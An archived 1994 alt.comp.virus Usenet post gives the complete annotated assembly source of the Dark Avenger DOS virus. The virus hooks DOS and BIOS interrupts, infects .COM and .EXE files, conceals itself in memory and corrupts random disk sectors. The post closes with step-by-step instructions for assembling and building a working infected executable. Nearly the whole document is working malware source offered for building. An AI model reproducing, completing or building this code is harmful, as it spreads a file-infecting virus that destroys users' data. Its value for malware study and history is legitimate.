home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / DARKAV.ASM < prev    next >
Assembly Source File  |  1994-11-29  |  27KB  |  1,034 lines

  1. From netcom.com!ix.netcom.com!netnews Tue Nov 29 09:44:15 1994
  2. Xref: netcom.com alt.comp.virus:509
  3. Path: netcom.com!ix.netcom.com!netnews
  4. From: Zeppelin@ix.netcom.com (Mr. G)
  5. Newsgroups: alt.comp.virus
  6. Subject: Dark Avenger Virus
  7. Date: 29 Nov 1994 13:13:46 GMT
  8. Organization: Netcom
  9. Lines: 1018
  10. Distribution: world
  11. Message-ID: <3bf9ea$iep@ixnews1.ix.netcom.com>
  12. References: <sbringerD00yHv.Hs3@netcom.com> <bradleymD011vJ.Lp8@netcom.com>
  13. NNTP-Posting-Host: ix-pas2-10.ix.netcom.com
  14.  
  15.     DARK AVENGER VIRUS
  16.  
  17.  
  18. code    segment
  19.         assume  cs:code,ds:code
  20. copyright:
  21.         db      'Eddie lives...somewhere in time!',0
  22. date_stamp:
  23.         dd      12239000h
  24. checksum:
  25.         db      30
  26.  
  27. ; Return the control to an .EXE file:
  28. ; Restores DS=ES=PSP, loads SS:SP and CS:IP.
  29.  
  30.  
  31.  
  32.  
  33.  
  34. exit_exe:
  35.         mov     bx,es
  36.         add     bx,10h
  37.         add     bx,word ptr cs:[si+call_adr+2]
  38.         mov     word ptr cs:[si+patch+2],bx
  39.         mov     bx,word ptr cs:[si+call_adr]
  40.         mov     word ptr cs:[si+patch],bx
  41.         mov     bx,es
  42.         add     bx,10h
  43.         add     bx,word ptr cs:[si+stack_pointer+2]
  44.         mov     ss,bx
  45.         mov     sp,word ptr cs:[si+stack_pointer]
  46.         db      0eah                    ;JMP XXXX:YYYY
  47. patch:
  48.         dd      0
  49.  
  50. ; Returns control to a .COM file:
  51. ; Restores the first 3 bytes in the
  52. ; beginning of the file, loads SP and IP.
  53.  
  54. exit_com:
  55.  
  56.  
  57.  
  58.  
  59.         mov     di,100h
  60.         add     si,offset my_save
  61.         movsb
  62.         movsw
  63.         mov     sp,ds:[6]               ;This is incorrect
  64.         xor     bx,bx
  65.         push    bx
  66.         jmp     [si-11]                 ;si+call_adr-top_file
  67.  
  68. ; Program entry point
  69.  
  70. startup:
  71.         call    relative
  72. relative:
  73.         pop     si                      ;SI = $
  74.         sub     si,offset relative
  75.         cld
  76.         cmp     word ptr cs:[si+my_save],5a4dh
  77.         je      exe_ok
  78.         cli
  79.         mov     sp,si                   ;A separate stack is supported 
  80. for
  81.         add     sp,offset top_file+100h ;the .COM files, in order not to
  82.         sti                             ;overlap the stack by the 
  83. program
  84.         cmp     sp,ds:[6]
  85.         jnc     exit_com
  86. exe_ok:
  87.         push    ax
  88.         push    es
  89.         push    si
  90.         push    ds
  91.         mov     di,si
  92.  
  93. ; Looking for the address of INT 13h handler in ROM-BIOS
  94.  
  95.         xor     ax,ax
  96.         push    ax
  97.         mov     ds,ax
  98.         les     ax,ds:[13h*4]
  99.         mov     word ptr cs:[si+fdisk],ax
  100.         mov     word ptr cs:[si+fdisk+2],es
  101.         mov     word ptr cs:[si+disk],ax
  102.         mov     word ptr cs:[si+disk+2],es
  103.         mov     ax,ds:[40h*4+2]         ;The INT 13h vector is moved to 
  104. INT 40h
  105.         cmp     ax,0f000h               ;for diskettes if a hard disk is
  106.         jne     nofdisk                 ;available
  107.         mov     word ptr cs:[si+disk+2],ax
  108.         mov     ax,ds:[40h*4]
  109.         mov     word ptr cs:[si+disk],ax
  110.         mov     dl,80h
  111.         mov     ax,ds:[41h*4+2]         ;INT 41h usually points the 
  112. segment,
  113.         cmp     ax,0f000h               ;where the original INT 13h 
  114. vector is
  115.         je      isfdisk
  116.         cmp     ah,0c8h
  117.         jc      nofdisk
  118.         cmp     ah,0f4h
  119.         jnc     nofdisk
  120.         test    al,7fh
  121.         jnz     nofdisk
  122.         mov     ds,ax
  123.         cmp     ds:[0],0aa55h
  124.         jne     nofdisk
  125.         mov     dl,ds:[2]
  126. isfdisk:
  127.         mov     ds,ax
  128.         xor     dh,dh
  129.         mov     cl,9
  130.         shl     dx,cl
  131.         mov     cx,dx
  132.         xor     si,si
  133. findvect:
  134.         lodsw                           ;Occasionally begins with:
  135.         cmp     ax,0fa80h               ;       CMP     DL,80h
  136.         jne     altchk                  ;       JNC     somewhere
  137.         lodsw
  138.         cmp     ax,7380h
  139.         je      intchk
  140.         jne     nxt0
  141. altchk:
  142.         cmp     ax,0c2f6h               ;or with:
  143.         jne     nxt                     ;       TEST    DL,80h
  144.         lodsw                           ;       JNZ     somewhere
  145.         cmp     ax,7580h
  146.         jne     nxt0
  147. intchk:
  148.         inc     si                      ;then there is:
  149.         lodsw                           ;       INT     40h
  150.         cmp     ax,40cdh
  151.         je      found
  152.         sub     si,3
  153. nxt0:
  154.         dec     si
  155.         dec     si
  156. nxt:
  157.         dec     si
  158.         loop    findvect
  159.         jmp     short nofdisk
  160. found:
  161.         sub     si,7
  162.         mov     word ptr cs:[di+fdisk],si
  163.         mov     word ptr cs:[di+fdisk+2],ds
  164. nofdisk:
  165.         mov     si,di
  166.         pop     ds
  167.  
  168. ; Check whether the program is present in memory:
  169.  
  170.         les     ax,ds:[21h*4]
  171.         mov     word ptr cs:[si+save_int_21],ax
  172.         mov     word ptr cs:[si+save_int_21+2],es
  173.         push    cs
  174.         pop     ds
  175.         cmp     ax,offset int_21
  176.         jne     bad_func
  177.         xor     di,di
  178.         mov     cx,offset my_size
  179. scan_func:
  180.         lodsb
  181.         scasb
  182.         jne     bad_func
  183.         loop    scan_func
  184.         pop     es
  185.         jmp     go_program
  186.  
  187. ; Move the program to the top of memory:
  188. ; (it's full of rubbish and bugs here)
  189.  
  190. bad_func:
  191.         pop     es
  192.         mov     ah,49h
  193.         int     21h
  194.         mov     bx,0ffffh
  195.         mov     ah,48h
  196.         int     21h
  197.         sub     bx,(top_bz+my_bz+1ch-1)/16+2
  198.         jc      go_program
  199.         mov     cx,es
  200.         stc
  201.         adc     cx,bx
  202.         mov     ah,4ah
  203.         int     21h
  204.         mov     bx,(offset top_bz+offset my_bz+1ch-1)/16+1
  205.         stc
  206.         sbb     es:[2],bx
  207.         push    es
  208.         mov     es,cx
  209.         mov     ah,4ah
  210.         int     21h
  211.         mov     ax,es
  212.         dec     ax
  213.         mov     ds,ax
  214.         mov     word ptr ds:[1],8
  215.         call    mul_16
  216.         mov     bx,ax
  217.         mov     cx,dx
  218.         pop     ds
  219.         mov     ax,ds
  220.         call    mul_16
  221.         add     ax,ds:[6]
  222.         adc     dx,0
  223.         sub     ax,bx
  224.         sbb     dx,cx
  225.         jc      mem_ok
  226.         sub     ds:[6],ax               ;Reduction of the segment size
  227. mem_ok:
  228.         pop     si
  229.         push    si
  230.         push    ds
  231.         push    cs
  232.         xor     di,di
  233.         mov     ds,di
  234.         lds     ax,ds:[27h*4]
  235.         mov     word ptr cs:[si+save_int_27],ax
  236.         mov     word ptr cs:[si+save_int_27+2],ds
  237.         pop     ds
  238.         mov     cx,offset aux_size
  239.         rep     movsb
  240.         xor     ax,ax
  241.         mov     ds,ax
  242.         mov     ds:[21h*4],offset int_21;Intercept INT 21h and INT 27h
  243.         mov     ds:[21h*4+2],es
  244.         mov     ds:[27h*4],offset int_27
  245.         mov     ds:[27h*4+2],es
  246.         mov     word ptr es:[filehndl],ax
  247.         pop     es
  248. go_program:
  249.         pop     si
  250.  
  251. ; Smash the next disk sector:
  252.  
  253.         xor     ax,ax
  254.         mov     ds,ax
  255.         mov     ax,ds:[13h*4]
  256.         mov     word ptr cs:[si+save_int_13],ax
  257.         mov     ax,ds:[13h*4+2]
  258.         mov     word ptr cs:[si+save_int_13+2],ax
  259.         mov     ds:[13h*4],offset int_13
  260.         add     ds:[13h*4],si
  261.         mov     ds:[13h*4+2],cs
  262.         pop     ds
  263.         push    ds
  264.         push    si
  265.         mov     bx,si
  266.         lds     ax,ds:[2ah]
  267.         xor     si,si
  268.         mov     dx,si
  269. scan_envir:                             ;Fetch program's name
  270.         lodsw                           ;(with DOS 2.x it doesn't work 
  271. anyway)
  272.         dec     si
  273.         test    ax,ax
  274.         jnz     scan_envir
  275.         add     si,3
  276.         lodsb
  277.  
  278. ; The following instruction is a complete nonsense.  Try to enter a 
  279. drive &
  280. ; directory path in lowercase, then run an infected program from there.
  281. ; As a result of an error here + an error in DOS the next sector is not
  282. ; smashed. Two memory bytes are smashed instead, most probably onto the
  283. ; infected program.
  284.  
  285.         sub     al,'A'
  286.         mov     cx,1
  287.         push    cs
  288.         pop     ds
  289.         add     bx,offset int_27
  290.         push    ax
  291.         push    bx
  292.         push    cx
  293.         int     25h
  294.         pop     ax
  295.         pop     cx
  296.         pop     bx
  297.         inc     byte ptr [bx+0ah]
  298.         and     byte ptr [bx+0ah],0fh   ;It seems that 15 times doing
  299.         jnz     store_sec               ;nothing is not enough for some.
  300.         mov     al,[bx+10h]
  301.         xor     ah,ah
  302.         mul     word ptr [bx+16h]
  303.         add     ax,[bx+0eh]
  304.         push    ax
  305.         mov     ax,[bx+11h]
  306.         mov     dx,32
  307.         mul     dx
  308.         div     word ptr [bx+0bh]
  309.         pop     dx
  310.         add     dx,ax
  311.         mov     ax,[bx+8]
  312.         add     ax,40h
  313.         cmp     ax,[bx+13h]
  314.         jc      store_new
  315.         inc     ax
  316.         and     ax,3fh
  317.         add     ax,dx
  318.         cmp     ax,[bx+13h]
  319.         jnc     small_disk
  320. store_new:
  321.         mov     [bx+8],ax
  322. store_sec:
  323.         pop     ax
  324.         xor     dx,dx
  325.         push    ax
  326.         push    bx
  327.         push    cx
  328.         int     26h
  329.  
  330.  
  331. ; The writing trough this interrupt is not the smartest thing, bacause 
  332. it
  333. ; can be intercepted (what Vesselin Bontchev has managed to notice).
  334.  
  335.         pop     ax
  336.         pop     cx
  337.         pop     bx
  338.         pop     ax
  339.         cmp     byte ptr [bx+0ah],0
  340.         jne     not_now
  341.         mov     dx,[bx+8]
  342.         pop     bx
  343.         push    bx
  344.         int     26h
  345. small_disk:
  346.         pop     ax
  347. not_now:
  348.         pop     si
  349.         xor     ax,ax
  350.         mov     ds,ax
  351.         mov     ax,word ptr cs:[si+save_int_13]
  352.         mov     ds:[13h*4],ax
  353.         mov     ax,word ptr cs:[si+save_int_13+2]
  354.         mov     ds:[13h*4+2],ax
  355.         pop     ds
  356.         pop     ax
  357.         cmp     word ptr cs:[si+my_save],5a4dh
  358.         jne     go_exit_com
  359.         jmp     exit_exe
  360. go_exit_com:
  361.         jmp     exit_com
  362. int_24:
  363.         mov     al,3                    ;This instruction seems 
  364. unnecessary
  365.         iret
  366.  
  367. ; INT 27h handler (this is necessary)
  368.  
  369. int_27:
  370.         pushf
  371.         call    alloc
  372.         popf
  373.         jmp     dword ptr cs:[save_int_27]
  374.  
  375. ; During the DOS functions Set & Get Vector it seems that the virus has 
  376. not
  377. ; intercepted them (this is a doubtfull advantage and it is a possible
  378. ; source of errors with some "intelligent" programs)
  379.  
  380. set_int_27:
  381.         mov     word ptr cs:[save_int_27],dx
  382.         mov     word ptr cs:[save_int_27+2],ds
  383.         popf
  384.         iret
  385. set_int_21:
  386.         mov     word ptr cs:[save_int_21],dx
  387.         mov     word ptr cs:[save_int_21+2],ds
  388.         popf
  389.         iret
  390. get_int_27:
  391.         les     bx,dword ptr cs:[save_int_27]
  392.         popf
  393.         iret
  394. get_int_21:
  395.         les     bx,dword ptr cs:[save_int_21]
  396.         popf
  397.         iret
  398.  
  399. exec:
  400.  
  401.  
  402.         call    do_file
  403.         call    alloc
  404.         popf
  405.         jmp     dword ptr cs:[save_int_21]
  406.  
  407.         db      'Diana P.',0
  408.  
  409. ; INT 21h handler.  Infects files during execution, copying, browsing or
  410. ; creating and some other operations. The execution of functions 0 and 
  411. 26h
  412. ; has bad consequences.
  413.  
  414. int_21:
  415.         push    bp
  416.         mov     bp,sp
  417.         push    [bp+6]
  418.         popf
  419.         pop     bp
  420.         pushf
  421.         call    ontop
  422.         cmp     ax,2521h
  423.         je      set_int_21
  424.         cmp     ax,2527h
  425.         je      set_int_27
  426.         cmp     ax,3521h
  427.         je      get_int_21
  428.         cmp     ax,3527h
  429.         je      get_int_27
  430.         cld
  431.         cmp     ax,4b00h
  432.         je      exec
  433.         cmp     ah,3ch
  434.         je      create
  435.         cmp     ah,3eh
  436.         je      close
  437.         cmp     ah,5bh
  438.         jne     not_create
  439. create:
  440.         cmp     word ptr cs:[filehndl],0;May be 0 if the file is open
  441.         jne     dont_touch
  442.         call    see_name
  443.         jnz     dont_touch
  444.         call    alloc
  445.         popf
  446.         call    function
  447.         jc      int_exit
  448.         pushf
  449.         push    es
  450.         push    cs
  451.         pop     es
  452.         push    si
  453.         push    di
  454.         push    cx
  455.         push    ax
  456.         mov     di,offset filehndl
  457.         stosw
  458.         mov     si,dx
  459.         mov     cx,65
  460. move_name:
  461.         lodsb
  462.         stosb
  463.         test    al,al
  464.         jz      all_ok
  465.         loop    move_name
  466.         mov     word ptr es:[filehndl],cx
  467. all_ok:
  468.         pop     ax
  469.         pop     cx
  470.         pop     di
  471.         pop     si
  472.         pop     es
  473. go_exit:
  474.         popf
  475.         jnc     int_exit                ;JMP
  476. close:
  477.         cmp     bx,word ptr cs:[filehndl]
  478.         jne     dont_touch
  479.         test    bx,bx
  480.         jz      dont_touch
  481.         call    alloc
  482.         popf
  483.         call    function
  484.         jc      int_exit
  485.         pushf
  486.         push    ds
  487.         push    cs
  488.         pop     ds
  489.         push    dx
  490.         mov     dx,offset filehndl+2
  491.         call    do_file
  492.         mov     word ptr cs:[filehndl],0
  493.         pop     dx
  494.         pop     ds
  495.         jmp     go_exit
  496. not_create:
  497.         cmp     ah,3dh
  498.         je      touch
  499.         cmp     ah,43h
  500.         je      touch
  501.         cmp     ah,56h                  ;Unfortunately, the command 
  502. inter-
  503.         jne     dont_touch              ;preter does not use this 
  504. function
  505. touch:
  506.         call    see_name
  507.         jnz     dont_touch
  508.         call    do_file
  509. dont_touch:
  510.         call    alloc
  511.         popf
  512.         call    function
  513. int_exit:
  514.         pushf
  515.         push    ds
  516.         call    get_chain
  517.         mov     byte ptr ds:[0],'Z'
  518.         pop     ds
  519.         popf
  520. dummy   proc    far                     ;???
  521.         ret     2
  522. dummy   endp
  523.  
  524. ; Checks whether the file is .COM or .EXE.
  525. ; It is not called upon file execution.
  526.  
  527. see_name:
  528.         push    ax
  529.         push    si
  530.         mov     si,dx
  531. scan_name:
  532.         lodsb
  533.         test    al,al
  534.         jz      bad_name
  535.         cmp     al,'.'
  536.         jnz     scan_name
  537.         call    get_byte
  538.         mov     ah,al
  539.         call    get_byte
  540.         cmp     ax,'co'
  541.         jz      pos_com
  542.         cmp     ax,'ex'
  543.         jnz     good_name
  544.         call    get_byte
  545.         cmp     al,'e'
  546.         jmp     short good_name
  547. pos_com:
  548.         call    get_byte
  549.         cmp     al,'m'
  550.         jmp     short good_name
  551. bad_name:
  552.         inc     al
  553. good_name:
  554.         pop     si
  555.         pop     ax
  556.         ret
  557.  
  558. ; Converts into lowercase (the subroutines are a great thing).
  559.  
  560. get_byte:
  561.         lodsb
  562.         cmp     al,'C'
  563.         jc      byte_got
  564.         cmp     al,'Y'
  565.         jnc     byte_got
  566.         add     al,20h
  567. byte_got:
  568.         ret
  569.  
  570. ; Calls the original INT 21h.
  571.  
  572. function:
  573.         pushf
  574.         call    dword ptr cs:[save_int_21]
  575.         ret
  576.  
  577. ; Arrange to infect an executable file.
  578.  
  579. do_file:
  580.         push    ds                      ;Save the registers in stack
  581.         push    es
  582.         push    si
  583.         push    di
  584.         push    ax
  585.         push    bx
  586.         push    cx
  587.         push    dx
  588.         mov     si,ds
  589.         xor     ax,ax
  590.         mov     ds,ax
  591.         les     ax,ds:[24h*4]           ;Saves INT 13h and INT 24h in 
  592. stack
  593.         push    es                      ;and changes them with what is 
  594. needed
  595.         push    ax
  596.         mov     ds:[24h*4],offset int_24
  597.         mov     ds:[24h*4+2],cs
  598.         les     ax,ds:[13h*4]
  599.         mov     word ptr cs:[save_int_13],ax
  600.         mov     word ptr cs:[save_int_13+2],es
  601.         mov     ds:[13h*4],offset int_13
  602.         mov     ds:[13h*4+2],cs
  603.         push    es
  604.         push    ax
  605.         mov     ds,si
  606.         xor     cx,cx                   ;Arranges to infect Read-only 
  607. files
  608.         mov     ax,4300h
  609.         call    function
  610.         mov     bx,cx
  611.         and     cl,0feh
  612.         cmp     cl,bl
  613.         je      dont_change
  614.         mov     ax,4301h
  615.         call    function
  616.         stc
  617. dont_change:
  618.         pushf
  619.         push    ds
  620.         push    dx
  621.         push    bx
  622.         mov     ax,3d02h                ;Now we can safely open the file
  623.         call    function
  624.         jc      cant_open
  625.         mov     bx,ax
  626.         call    disease
  627.         mov     ah,3eh                  ;Close it
  628.  
  629.         call    function
  630. cant_open:
  631.         pop     cx
  632.         pop     dx
  633.         pop     ds
  634.         popf
  635.         jnc     no_update
  636.         mov     ax,4301h                ;Restores file's attributes
  637.         call    function                ;if they were changed (just in 
  638. case)
  639. no_update:
  640.         xor     ax,ax                   ;Restores INT 13h and INT 24h
  641.         mov     ds,ax
  642.         pop     ds:[13h*4]
  643.         pop     ds:[13h*4+2]
  644.         pop     ds:[24h*4]
  645.         pop     ds:[24h*4+2]
  646.         pop     dx                      ;Register restoration
  647.         pop     cx
  648.         pop     bx
  649.         pop     ax
  650.         pop     di
  651.         pop     si
  652.         pop     es
  653.         pop     ds
  654.         ret
  655.  
  656. ; This routine is the working horse.
  657.  
  658. disease:
  659.         push    cs
  660.         pop     ds
  661.         push    cs
  662.         pop     es
  663.         mov     dx,offset top_save      ;Read the file beginning
  664.         mov     cx,18h
  665.         mov     ah,3fh
  666.         int     21h
  667.         xor     cx,cx
  668.         xor     dx,dx
  669.         mov     ax,4202h                ;Save file length
  670.         int     21h
  671.         mov     word ptr [top_save+1ah],dx
  672.         cmp     ax,offset my_size       ;This should be top_file
  673.         sbb     dx,0
  674.         jc      stop_fuck_2             ;Small files are not infected
  675.         mov     word ptr [top_save+18h],ax
  676.         cmp     word ptr [top_save],5a4dh
  677.         jne     com_file
  678.         mov     ax,word ptr [top_save+8]
  679.         add     ax,word ptr [top_save+16h]
  680.         call    mul_16
  681.         add     ax,word ptr [top_save+14h]
  682.         adc     dx,0
  683.         mov     cx,dx
  684.         mov     dx,ax
  685.         jmp     short see_sick
  686. com_file:
  687.         cmp     byte ptr [top_save],0e9h
  688.         jne     see_fuck
  689.         mov     dx,word ptr [top_save+1]
  690.         add     dx,103h
  691.         jc      see_fuck
  692.         dec     dh
  693.         xor     cx,cx
  694.  
  695. ; Check if the file is properly infected
  696.  
  697.  
  698. see_sick:
  699.         sub     dx,startup-copyright
  700.         sbb     cx,0
  701.         mov     ax,4200h
  702.         int     21h
  703.         add     ax,offset top_file
  704.         adc     dx,0
  705.         cmp     ax,word ptr [top_save+18h]
  706.         jne     see_fuck
  707.         cmp     dx,word ptr [top_save+1ah]
  708.         jne     see_fuck
  709.         mov     dx,offset top_save+1ch
  710.         mov     si,dx
  711.         mov     cx,offset my_size
  712.         mov     ah,3fh
  713.         int     21h
  714.         jc      see_fuck
  715.         cmp     cx,ax
  716.         jne     see_fuck
  717.         xor     di,di
  718. next_byte:
  719.  
  720.         lodsb
  721.         scasb
  722.         jne     see_fuck
  723.         loop    next_byte
  724. stop_fuck_2:
  725.         ret
  726. see_fuck:
  727.         xor     cx,cx                   ;Seek to the end of file
  728.         xor     dx,dx
  729.         mov     ax,4202h
  730.         int     21h
  731.         cmp     word ptr [top_save],5a4dh
  732.         je      fuck_exe
  733.         add     ax,offset aux_size+200h ;Watch out for too big .COM 
  734. files
  735.         adc     dx,0
  736.         je      fuck_it
  737.         ret
  738.  
  739. ; Pad .EXE files to paragraph boundary. This is absolutely unnecessary.
  740.  
  741. fuck_exe:
  742.         mov     dx,word ptr [top_save+18h]
  743.         neg     dl
  744.         and     dx,0fh
  745.         xor     cx,cx
  746.         mov     ax,4201h
  747.         int     21h
  748.         mov     word ptr [top_save+18h],ax
  749.         mov     word ptr [top_save+1ah],dx
  750. fuck_it:
  751.         mov     ax,5700h                ;Get file's date
  752.         int     21h
  753.         pushf
  754.         push    cx
  755.         push    dx
  756.         cmp     word ptr [top_save],5a4dh
  757.         je      exe_file                ;Very clever, isn't it?
  758.         mov     ax,100h
  759.         jmp     short set_adr
  760. exe_file:
  761.         mov     ax,word ptr [top_save+14h]
  762.         mov     dx,word ptr [top_save+16h]
  763. set_adr:
  764.         mov     di,offset call_adr
  765.         stosw
  766.         mov     ax,dx
  767.         stosw
  768.         mov     ax,word ptr [top_save+10h]
  769.         stosw
  770.         mov     ax,word ptr [top_save+0eh]
  771.         stosw
  772.         mov     si,offset top_save      ;This offers the possibilities 
  773. to
  774.         movsb                           ;some nasty programs to restore
  775.         movsw                           ;exactly the original length
  776.         xor     dx,dx                   ;of the .EXE files
  777.         mov     cx,offset top_file
  778.         mov     ah,40h
  779.         int     21h                     ;Write the virus
  780.         jc      go_no_fuck              ;(don't trace here)
  781.         xor     cx,ax
  782.         jnz     go_no_fuck
  783.         mov     dx,cx
  784.         mov     ax,4200h
  785.         int     21h
  786.         cmp     word ptr [top_save],5a4dh
  787.         je      do_exe
  788.         mov     byte ptr [top_save],0e9h
  789.         mov     ax,word ptr [top_save+18h]
  790.         add     ax,startup-copyright-3
  791.         mov     word ptr [top_save+1],ax
  792.         mov     cx,3
  793.         jmp     short write_header
  794. go_no_fuck:
  795.         jmp     short no_fuck
  796.  
  797. ; Construct the .EXE file's header
  798.  
  799. do_exe:
  800.         call    mul_hdr
  801.         not     ax
  802.         not     dx
  803.         inc     ax
  804.         jne     calc_offs
  805.         inc     dx
  806. calc_offs:
  807.         add     ax,word ptr [top_save+18h]
  808.         adc     dx,word ptr [top_save+1ah]
  809.         mov     cx,10h
  810.         div     cx
  811.         mov     word ptr [top_save+14h],startup-copyright
  812.         mov     word ptr [top_save+16h],ax
  813.         add     ax,(offset top_file-offset copyright-1)/16+1
  814.         mov     word ptr [top_save+0eh],ax
  815.         mov     word ptr [top_save+10h],100h
  816.         add     word ptr [top_save+18h],offset top_file
  817.         adc     word ptr [top_save+1ah],0
  818.         mov     ax,word ptr [top_save+18h]
  819.         and     ax,1ffh
  820.         mov     word ptr [top_save+2],ax
  821.         pushf
  822.         mov     ax,word ptr [top_save+19h]
  823.         shr     byte ptr [top_save+1bh],1
  824.         rcr     ax,1
  825.         popf
  826.         jz      update_len
  827.         inc     ax
  828. update_len:
  829.         mov     word ptr [top_save+4],ax
  830.         mov     cx,18h
  831. write_header:
  832.         mov     dx,offset top_save
  833.         mov     ah,40h
  834.         int     21h                     ;Write the file beginning
  835. no_fuck:
  836.         pop     dx
  837.         pop     cx
  838.         popf
  839.         jc      stop_fuck
  840.         mov     ax,5701h                ;Restore the original file date
  841.         int     21h
  842. stop_fuck:
  843.         ret
  844.  
  845. ; The following is used by the INT 21h and INT 27h handlers in 
  846. connection
  847. ; to the program hiding in memory from those who don't need to see it.
  848. ; The whole system is absurde and meaningless and it is also another 
  849. source
  850. ; for program conflicts.
  851.  
  852. alloc:
  853.         push    ds
  854.         call    get_chain
  855.         mov     byte ptr ds:[0],'M'
  856.         pop     ds
  857.  
  858. ; Assures that the program is the first one in the processes,
  859. ; which have intercepted INT 21h (yet another source of conflicts).
  860.  
  861. ontop:
  862.         push    ds
  863.         push    ax
  864.         push    bx
  865.         push    dx
  866.         xor     bx,bx
  867.         mov     ds,bx
  868.         lds     dx,ds:[21h*4]
  869.         cmp     dx,offset int_21
  870.         jne     search_segment
  871.         mov     ax,ds
  872.         mov     bx,cs
  873.         cmp     ax,bx
  874.         je      test_complete
  875.  
  876. ; Searches the segment of the sucker who has intercepted INT 21h, in
  877. ; order to find where it has stored the old values and to replace them.
  878. ; Nothing is done for INT 27h.
  879.  
  880.         xor     bx,bx
  881. search_segment:
  882.         mov     ax,[bx]
  883.         cmp     ax,offset int_21
  884.         jne     search_next
  885.         mov     ax,cs
  886.         cmp     ax,[bx+2]
  887.         je      got_him
  888. search_next:
  889.         inc     bx
  890.         jne     search_segment
  891.         je      return_control
  892. got_him:
  893.         mov     ax,word ptr cs:[save_int_21]
  894.         mov     [bx],ax
  895.         mov     ax,word ptr cs:[save_int_21+2]
  896.         mov     [bx+2],ax
  897.         mov     word ptr cs:[save_int_21],dx
  898.         mov     word ptr cs:[save_int_21+2],ds
  899.         xor     bx,bx
  900.  
  901. ; Even if he has not saved them in the same segment, this won't help 
  902. him.
  903.  
  904. return_control:
  905.         mov     ds,bx
  906.         mov     ds:[21h*4],offset int_21
  907.         mov     ds:[21h*4+2],cs
  908. test_complete:
  909.         pop     dx
  910.         pop     bx
  911.         pop     ax
  912.         pop     ds
  913.         ret
  914.  
  915. ; Fetch the segment of the last MCB
  916.  
  917. get_chain:
  918.         push    ax
  919.         push    bx
  920.         mov     ah,62h
  921.         call    function
  922.         mov     ax,cs
  923.         dec     ax
  924.         dec     bx
  925. next_blk:
  926.         mov     ds,bx
  927.         stc
  928.         adc     bx,ds:[3]
  929.         cmp     bx,ax
  930.         jc      next_blk
  931.         pop     bx
  932.         pop     ax
  933.         ret
  934.  
  935. ; Multiply by 16
  936.  
  937. mul_hdr:
  938.         mov     ax,word ptr [top_save+8]
  939. mul_16:
  940.         mov     dx,10h
  941.         mul     dx
  942.         ret
  943.  
  944.         db      'This program was written in the city of Sofia '
  945.         db      '(C) 1988-89 Dark Avenger',0
  946.  
  947. ; INT 13h handler.
  948. ; Calls the original vectors in BIOS, if it's a writing call
  949.  
  950. int_13:
  951.         cmp     ah,3
  952.         jnz     subfn_ok
  953.         cmp     dl,80h
  954.         jnc     hdisk
  955.         db      0eah                    ;JMP XXXX:YYYY
  956. my_size:                                ;--- Up to here comparison
  957. disk:                                   ; with the original is made
  958.         dd      0
  959. hdisk:
  960.         db      0eah                    ;JMP XXXX:YYYY
  961. fdisk:
  962.         dd      0
  963. subfn_ok:
  964.         db      0eah                    ;JMP XXXX:YYYY
  965. save_int_13:
  966.         dd      0
  967. call_adr:
  968.         dd      100h
  969.  
  970. stack_pointer:
  971.         dd      0                       ;The original value of SS:SP
  972. my_save:
  973.         int     20h                     ;The original contents of the 
  974. first
  975.         nop                             ;3 bytes of the file
  976. top_file:                               ;--- Up to here the code is 
  977. written
  978. filehndl    equ $                       ; in the files
  979. filename    equ filehndl+2              ;Buffer for the name of the 
  980. opened file
  981. save_int_27 equ filename+65             ;Original INT 27h vector
  982. save_int_21 equ save_int_27+4           ;Original INT 21h vector
  983. aux_size    equ save_int_21+4           ;--- Up to here is moved into 
  984. memory
  985. top_save    equ save_int_21+4           ;Beginning of the buffer, which
  986.                                         ;contains
  987.                                         ; - The first 24 bytes read from 
  988. file
  989.                                         ; - File length (4 bytes)
  990.                                         ; - The last bytes of the file
  991.                                         ;   (my_size bytes)
  992. top_bz      equ top_save-copyright
  993. my_bz       equ my_size-copyright
  994.  
  995. code    ends
  996.         end
  997.  
  998. ------------------------------------------------------------------------
  999. ------
  1000.  
  1001.      A few notes on assembling this virus.
  1002.  
  1003.      It's a little bit tricky assembling the Dark Avenger Virus.  Use
  1004.      these steps below.  I use Turbo Assembler 2.0, but I'm positve that
  1005.      MASM will work just as well.
  1006.  
  1007.      1:
  1008.          TASM AVENGER.ASM
  1009.  
  1010.      2:
  1011.          TLINK AVENGER.OBJ
  1012.  
  1013.      3:
  1014.          EXE2BIN AVENGER AVENGER.COM
  1015.  
  1016.      Now make a 3 byte file named JUMP.TMP using DEBUG like this
  1017.  
  1018.      4:  DEBUG
  1019.  
  1020.          n jmp.tmp
  1021.          e 0100  E9 68 00
  1022.  
  1023.          rcx
  1024.          3
  1025.          w
  1026.          q
  1027.  
  1028.       5: Now do this COPY JMP.TMP + AVENGER.COM DAVENGER.COM
  1029.  
  1030.          There you have it....
  1031.  
  1032.  
  1033.  
  1034.